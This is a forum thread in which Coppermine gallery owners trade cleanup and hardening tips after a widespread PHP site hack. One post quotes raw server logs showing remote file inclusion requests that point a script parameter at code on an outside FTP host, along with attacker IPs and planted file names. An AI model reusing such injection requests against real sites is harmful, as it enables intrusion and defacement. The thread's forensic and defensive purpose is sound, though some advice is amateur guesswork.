[Closed]: Helping each other with problems resulting from cdpuvbhfzz hacking?

[marian]

I understand that Gau Gau and Co cannot be invoved in advising people about clearing up the mess from the cdpuvbhfzz hackings and realise the main thread about cdpuvbhfzz could get locked at any moment if people continue to share their problems on it.
Clearly, from this thread, others that have sprung up here and posts on other boards, many people are affected and concerned. I contemplated sending PMs to those who had posted here, but that would exclude those who need help and are watching, but not posting. So, I decided to start this thread in the hope that those affected could post here, away from the main thread, not in the expectation of any support from the CMG team, but in order to help each other and share info and possible solutions to clean up the mess that has resulted from this attack and prevent further outbreaks.
As Gau Gau and others have said, advice on cleaning up the mess on servers is not something the CMG team can be expected to give, especially at a time when they must be working round the clock to fix the vulnerability that caused the problems. Nevertheless, many of us are in a situation where the mess has to be cleared up and repeated attacks need to be stopped and this is the only place where we can communicate, so I hope nobody will mind if we try to help each other out here. 
To kick off, I asked on the other thread what versions of Apache and PHP those affected were using. I didn't do that idly, but on the advice of an expert who suggested that we should look for a common factor there.

[sharpo]

Good idea, Marian.

I've no idea on the details of my server, but it is a host package from 1&1.co.uk.

I did note the original poster was from the same host.

So far I have removed all infected php & html files, replacing them from a new install of 1.14.16. No modifications or plugins added, and uri all set to 0

All user folders checked for "new" files during the last week, but not the ones I batch add to.

I've also made sure the "Path to custom header include" box has no entry.

Thankfully no further problems in the last 2 days. (I have 4 galleries working)

Hope this helps somebody, and keeps the important topic free for the postings from the experts.

[j_taubman]

I have cleaned up my gallery and banned the IP addresses mentioned in the other thread,   in addition I have added php.ini files to all my apps directories with openbase_dir,  so hopefully this will stop the damage escaping from coppermine should it happen again.

I suspect there is a different vulnerability in the admin.php as they seem to be able to update the parameters,  to avoid any problems with that I have renamed admin.php and will rename it with FTP when I need to change any settings.

Until the fix is posted and as I am the only one who uploads images I have also renamed update.php and upload.php again renaming them as I need them.

A couple of things I picked up from the main thread

If you have shell access to your accounts you can use Grep to search and replace in all your files for the hack text,  or you can try the killorcure.php I posted,   BUT please be careful with it as it was as it says a kill or cure attempt, not a carefully crafted bit of code.

[marian]

If you have shell access to your accounts you can use Grep to search and replace in all your files for the hack text, 

Our host did that for us, but for those who don't know what they should ask the host to look for could you give the details?

[mentalist3d]

The Killorcure.php worked a treat for me :-)

I ran that file first as I couldn't access the gallery whatsoever, removed the offending zip&jpg file from the server. I noticed that it is creating extra files within the Batch added galleries and User Pics so once you remove the two offending files. Update to the latest version of coppermine then have a look at every image (which is a pain) as some images are pointing to the zip file. Wherever they are pointing to a zip file you will know (if you have removed the file) as you will get a random thumbnail but no larger image will be displayed. Remove these and make sure your gallery is offline (just for now) until you've finished checking. I've also removed all my plug-ins, I will add them later though once I am happy that everything is secure.

My webhost is Streamline and they just upgraded to PHP5 a week before the attack, unfortunately I don't know which version of apache they are using but they have been doing a massive upgrade on all their servers so I am assuming the latest version of Apache is being used.

PS - I am running another 3 galleries with no problems but they do not allow any form of login or commenting etc.

[marian]

I've no idea on the details of my server, but it is a host package from 1&1.co.uk.
I did note the original poster was from the same host.

I'm told that many hosts still use php 4 for their shared servers, because many of the sites on them have applications on them that wont run on php5. 4 is apparently much more vulnerable, so having outdated php could be even more significant can outdated coppermine.
Although on a dedicated server our php4 had not been updated. We are now changing to 5.2.

[marian]

then have a look at every image (which is a pain) as some images are pointing to the zip file. Wherever they are pointing to a zip file you will know (if you have removed the file) as you will get a random thumbnail but no larger image will be displayed. Remove these and make sure your gallery is offline (just for now) until you've finished checking. I've also removed all my plug-ins, I will add them later though once I am happy that everything is secure.

We have 55,000 images, so couldn't possibly examine every file. Won't running grep find these files? Can yo and anyone else list all suspect file names that need to be removed?

[mentalist3d]

I dont know about grep as I'm not sure what that is (complete newbie there lol). An actual easier way to check is just go into each album and check the date of the last uploaded image, if you have a set of images that have been newly uploaded when other uploads were months back then the files are probably suspect.

Also look at your FTP albums as most files will be named similar (i.e.- John Smith uploaded 6 pics and they were named similar to image_01, image_02, etc.) there will be the occasionally weird named file, the names are generated randomly I think as I found one ed63_0st.jpg and various other variations. However I have been lucky as most of my users name their images in certain ways, so the extra image files stand out when searching via FTP.

Sorry I can't be more help there.

[Llama8668]

It's been going on for me for the last few days, despite me cleaning pages and removing files.

I guess there has been stuff left over which has let them back in (though I couldn't see them when checking through the upload directoy - they're not huge folders so I looked through manually as well as sorting by date to try and locate new uploads).

My latest attempt is to simply chomod the upload directory to 644 and I've gone this on a single gallery which I've put back online (this was the last one to be hacked again, and has been hacked a total of 2 times in the last few days). So far I've yet to be hacked  again (though it's hard to tell whether this is just luck as there's still no clear info about what's going on). It's not an ideal solution (as any valid image in the upload directory doesn't display within the gallery due to the restricted persmission) but it allows for the gallery to come back online. Personally I've got most of my images in albums other than the default upload one so I can still server the majority of images (though I'm not sure whether the hack can be adapted to upload to other albums as well).

[marian]

Does anyone know if any sites that are NOT using Coppermine have been affected?
The reason I ask is that if other php applications are vulnerable, then I wondered if the rogue files could be uploaded to other scripts and then used to reinfect Coppermine even after it is patched?

[mentalist3d]

I done a google search on the website responsible for the infection and it seems to have affected other sites including ZenCart Store, PHPBBForum, CMS sites, etc. so it doesn't seem to be coppermine only.

Only coppermine seems to be the most affected though and it seems that coppermine are the only ones that are working hard on the problem, the other forums are dismissing the attacks as being local (i.e. you had a trojan on your PC when uploading to your ftp... etc.) and other useless info.

[Llama8668]

Is it definite that these other sites aren't running coppermine somewhere though (so whilst wordpress or PHPBB might start throwing up the hacked code pages is it just because they've gotten in through coppermine and rewrote to all pages).

Also if other software were vulnerable how is the affected user base still so small. It's hard enough to rationalise how, if there's an exploit in the wild which effects all versions of coppermine's gallery, there's still only a handful of people stating they've been hacked. It the exploit affects various other PHP scripts then it's even harder to understand.

[sharpo]

I'm not the brightest at this game, and it doesn't solve the problem - but I use Firefox & have added "block site" to the browser, and of course am blocking any url containing cdpuvbhfzz.

[marian]

Is it definite that these other sites aren't running coppermine somewhere though (so whilst wordpress or PHPBB might start throwing up the hacked code pages is it just because they've gotten in through coppermine and rewrote to all pages).
Also if other software were vulnerable how is the affected user base still so small. It's hard enough to rationalise how, if there's an exploit in the wild which effects all versions of coppermine's gallery, there's still only a handful of people stating they've been hacked. It the exploit affects various other PHP scripts then it's even harder to understand.

You are right on both counts. I suppose one reason there might not be many reports could be that the vast majority of coppermine galleries are personal things whose owners only look in from time to time and haven't yet noticed.
That said, I still think there may be more to this and more problems to come, for the reasons you mention in your second paragraph. It's almost like a trial run.
What further aroused my suspicions was our second attack. We couldn't get the server logs after the first one, because Apache had - by coincidence - started to run a backup, by the time we realised what had happened, but we got them right after the second one and it looked liked the gallery attack was preceeded by a different attack, about 3 hours earlier:
208.16.236.69 - - [10/Apr/2008:13:42:23 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9290 "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
208.16.236.69 - - [10/Apr/2008:13:42:24 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:37 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
217.67.26.84 - - [10/Apr/2008:14:49:38 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:51 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.805"
85.114.135.126 - - [10/Apr/2008:14:50:52 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.805"
209.85.105.25 - - [10/Apr/2008:15:26:44 +0200] "GET /news/newsDetails.php?id=5686/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 200 9584 "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:45 +0200] "GET /home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? HTTP/1.1"
404 - "-" "libwww-perl/5.79"
209.85.105.25 - - [10/Apr/2008:15:26:46 +0200] "GET /news/home.php?act=ftp://84.32.137.157/incoming/upload/trem/oldbisok??
HTTP/1.1" 404 - "-" "libwww-perl/5.79"
195.5.117.252 - - [10/Apr/2008:18:46:01 +0200] "POST /photos/upload.php HTTP/1.1" 200 6920 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:13 +0200] "POST /photos/upload.php HTTP/1.1" 200 43854 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [10/Apr/2008:18:47:22 +0200] "POST /photos/upload.php HTTP/1.1" 200 6782 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
A search on oldbisok produced this: http://rapidlibrary.com/index.php?q=synful+orchestra+index+php+sub+ftp+84+32+137+157+incoming+upload+trem+oldbisok


   

[dmccreary]

This hack modifies the configuration. One thing to note is that it sets the intermediate picture size to 1 pixel. If you don't change that to a real size, you will get an error message from Image Magick (error 1). If set to GD the error will tell you it cannot create the thumbnail. There's nothing wrong with IM or GD, it's the configuration rewrite.

As previously noted, it also changes the number of albums displayed back to 1. To some extent that's helpful, if you have a number of installs. Just view them from front end.. if you should be seeing more than 1 album in a category that install's been hacked, go immediately to the userpics and whack the 142739_298w3 file in album 10001, then turn off uploads in Groups.

I would like to make a contribution to the developer team who are spending a lot of time today on this hideous hack. We all should. How can one do that?

[sharpo]

Just noticed 1.4.17 released!

[marian]

Just noticed 1.4.17 released!

Well that really is great news!
There is just one thing I would really like to know, for my own and others peace of mind. Our site was hacked a second time AFTER URI was disabled for all accounts (It had only ever been enabled for admin). Can anyone explain how that could happen?

[sharpo]

Thanks to everybody who obviously put a lot of work into this over the past few days!

Could I mention the only "extra" files I've found so far are in the plugins folder. There was a empty folder called "receive", and a file called docs.php. Looking through my logs at the time all the html & php files were altered, only "post" entry I can see is to gallery/pluginmgr.php?op=upload HTTP/1.1" 302 19518

Let us know if you find any other suspicious files.

[marian]

Thanks to everybody who obviously put a lot of work into this over the past few days!

Could I mention the only "extra" files I've found so far are in the plugins folder. There was a empty folder called "receive", and a file called docs.php. Looking through my logs at the time all the html & php files were altered, only "post" entry I can see is to gallery/pluginmgr.php?op=upload HTTP/1.1" 302 19518

Let us know if you find any other suspicious files.

Thanks a lot for that info. We will be combing things via Grep and manually, before we put CMG back live, and will report anything odd we find.

[NoviceScotty]

Hi everyone -
first of all, sorry that I posted in two other places before I found this thread.

Question - if I have backups on my computer that include the jpg with the malicious code, will my computer be infected?